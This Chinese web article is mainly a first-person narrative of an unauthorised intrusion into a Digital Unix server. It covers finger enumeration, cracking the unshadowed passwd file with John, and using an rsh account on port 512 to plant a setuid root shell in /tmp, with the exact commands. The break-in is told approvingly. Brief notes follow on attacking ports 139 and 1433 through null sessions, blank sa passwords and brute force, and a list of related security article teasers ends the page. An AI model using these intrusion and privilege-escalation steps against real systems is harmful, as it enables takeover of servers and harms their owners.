已經(jīng)是第六十幾天了,我的Celeron 533仍不知疲倦的跑著JOHN……我是無(wú)意中注意到這個(gè)網(wǎng)站的,當(dāng)時(shí)只是想看一下,方法是各位大蝦都會(huì)的FINGER,然后猜用戶口令進(jìn)去的。進(jìn)去之后PASSWD也沒(méi)有SHADOWN,直接就可以看到,該系統(tǒng)用的是Digital unix系統(tǒng),從PASSWD看得出里面的用戶只有兩個(gè)組:root和users,我猜中的就是一users級(jí)別的,發(fā)現(xiàn)這個(gè)級(jí)別的用戶幾乎沒(méi)有什么權(quán)限,TELNET上去后發(fā)現(xiàn)/USR/USERS/XXX是各用戶的HOME,而它們的屬性全是drwx——,也就是說(shuō)這里的用戶是互不信任的關(guān)系(這一點(diǎn)大家在各免費(fèi)主頁(yè)服務(wù)器上經(jīng)??梢钥吹剑磥?lái)猜出再多用戶級(jí)口令也沒(méi)有用的。
root級(jí)的用戶只有兩名:root和shut.root我用john已跑了60多天,顯然不可能再跑出來(lái)了,但幸運(yùn)的是shut口令已跑出來(lái)了。我毫不猶豫的telnet上去——然后,網(wǎng)站就關(guān)閉了!@#~!#^%,我真笨,怎么沒(méi)想到shut口令是干什么的?
網(wǎng)站很快就又開啟了,我發(fā)現(xiàn)shut口令還是沒(méi)改!這個(gè)網(wǎng)管是怎么當(dāng)?shù)模到y(tǒng)關(guān)了也不查一下原因!很顯然,這個(gè)網(wǎng)站上只有root是有水平的,但他與服務(wù)器可能不在同地,對(duì)于開、關(guān)機(jī)之類的事情不能直接操縱,與是給當(dāng)?shù)氐牟僮鲉T一個(gè)root級(jí)帳號(hào),然后在。profile文件中做了一個(gè)shell,使得帳號(hào)一登錄就自動(dòng)關(guān)系統(tǒng)。看看系統(tǒng)這么周密的設(shè)計(jì),我想root設(shè)計(jì)這個(gè)shell時(shí)絕對(duì)關(guān)掉了path,所以我不打算在優(yōu)先的path路徑中放一同名的shell來(lái)阻止它。我如果能改掉這個(gè)文件再telnet上去不就是root級(jí)了嗎?
但是shut的HOME目錄是drwx——,別的帳號(hào)根本進(jìn)不去。沒(méi)關(guān)系,我試試ftp,530 user shut access denined(被拒絕),users組可以ftp上去同樣進(jìn)不了shut目錄。而且該網(wǎng)站根本就沒(méi)有開WWW服務(wù),怎么辦?為這個(gè)網(wǎng)站陸陸續(xù)續(xù)研究了許久,我總是樂(lè)觀的鼓勵(lì)自己,“起碼我已經(jīng)知道幾十種進(jìn)不去的方法了……”。“真正的黑客從來(lái)都是把困難當(dāng)作樂(lè)趣,敞開的大門你請(qǐng)他進(jìn)他都不進(jìn)呢!”如此六十多天過(guò)去了,只到有一天……
我再一次用haktek掃描該網(wǎng)站,結(jié)果如下:Port 21 found. Desc='ftp' Port 23 found. Desc='telnet' Port 25 found. Desc='smtp' Port 79 found. Desc='finger' Port 111 found. Desc='portmap/sunrpc' Port 512 found. Desc='biff/exec' Port 513 found. Desc='login/who' Port 514 found. Desc='shell/syslog' Port 515 found. Desc='printer' Port 1024 found. Port 1025 found. Port 1526 found. Port 1528 found.
一個(gè)以前一直沒(méi)有注意的Port 512引起我的注意,這個(gè)端口是什么時(shí)候開的?要知道它可以讓用戶不登錄就可以運(yùn)行服務(wù)器上的命令?。?!趕緊試試!
打開一個(gè)軟件winrsh32,填入user和password,在命令中填上ls -la,點(diǎn)運(yùn)行哇,文件全列出來(lái)了,剩下的就簡(jiǎn)單了:cp /bin/sh /tmp/.temp;chown root /tmp/.temp;chmod 4755 /tmp/.temp.然后再用那個(gè)破掉的user級(jí)帳號(hào)telnet,cd/tmp;。temp.當(dāng)#映入眼簾時(shí),心卻往下一沉,我突然感到一絲落寂……可惜這個(gè)root一世小心,卻毀在了讓shut可以使用512端口上??磥?lái)破壞一個(gè)世界總是比建立一個(gè)世界簡(jiǎn)單……
39端口入侵139端口入侵139端口的入侵,主要是通過(guò)建立空連接,而獲得用戶名和共享名,接著用字典法或窮舉法來(lái)猜測(cè)ADMINISTRATORS的密碼,這樣可獲得最高權(quán)限。
解決方法:1、禁止匿名共享。
2、禁止管理共享。
1433端口入侵1433端口入侵1433端口的入侵,主要是利用MS SQL SERVER默認(rèn)sa的密碼是空,通過(guò)遠(yuǎn)程執(zhí)行命令而達(dá)到目的,或通過(guò)窮舉法猜測(cè)密碼
相關(guān)文章
什么是CC攻擊 判斷網(wǎng)站是否被CC攻擊并且如何防御CC攻擊
CC主要是用來(lái)攻擊頁(yè)面的,大家都有這樣的經(jīng)歷,就是在訪問(wèn)論壇時(shí),如果這個(gè)論壇比較大,訪問(wèn)的人比較多,打開頁(yè)面的速度會(huì)比較慢,對(duì)不?!一般來(lái)說(shuō),訪問(wèn)的人越多,論壇的頁(yè)2024-01-06Windows系統(tǒng)安全風(fēng)險(xiǎn)-本地NTLM重放提權(quán)
入侵者主要通過(guò)Potato程序攻擊擁有SYSTEM權(quán)限的端口偽造網(wǎng)絡(luò)身份認(rèn)證過(guò)程,利用NTLM重放機(jī)制騙取SYSTEM身份令牌,最終取得系統(tǒng)權(quán)限,該安全風(fēng)險(xiǎn)微軟并不認(rèn)為存在漏洞,所以2021-04-15- 這篇文章主要介紹了文件上傳漏洞全面滲透分析小結(jié),這里主要為大家分享一下防御方法,需要的朋友可以參考下2021-03-21
- 這篇文章主要介紹了sql手工注入語(yǔ)句&SQL手工注入大全,需要的朋友可以參考下2017-09-06
- 這篇文章主要介紹了詳解Filezilla server 提權(quán),需要的朋友可以參考下2017-05-13
FileZilla Server 2008 x64 提權(quán)與防御方法
這篇文章主要介紹了FileZilla Server 2008 x64 提權(quán)與防御方法,需要的朋友可以參考下2017-05-13https加密也被破解 HEIST攻擊從加密數(shù)據(jù)獲取明文
不久之前我們說(shuō)過(guò)關(guān)于http和https的區(qū)別,對(duì)于加密的https,我們一直認(rèn)為它是相對(duì)安全的,可今天要講的是,一種繞過(guò)HTTPS加密得到明文信息的web攻擊方式,不知道這消息對(duì)你2016-08-10iPhone和Mac也會(huì)被黑 一條iMessage密碼可能就被盜了
一直以來(lái)蘋果系統(tǒng)的安全性都是比安卓要高的,但是再安全的系統(tǒng)也免不了漏洞,蘋果也一樣。最近爆出的新漏洞,只需要接收一條多媒體信息或者iMessage就會(huì)導(dǎo)致用戶信息泄露。2016-07-27- 國(guó)家正在修正關(guān)于黑客方面的法律法規(guī),有一條震驚黑客圈的“世紀(jì)佳緣”起訴白帽黑客事件,深深的傷害了廣大黑客們的心,加上扎克伯格和特拉維斯·卡蘭尼克賬號(hào)被盜,于是黑2016-07-11
如何逆向破解HawkEye keylogger鍵盤記錄器進(jìn)入攻擊者郵箱
面對(duì)惡意郵件攻擊,我們就只能默默忍受被他攻擊,連自我保護(hù)能力都沒(méi)有談什么反抗?讓人痛快的是,如今有了解決辦法,逆向破解鍵盤記錄器,進(jìn)入攻擊者郵箱2016-07-06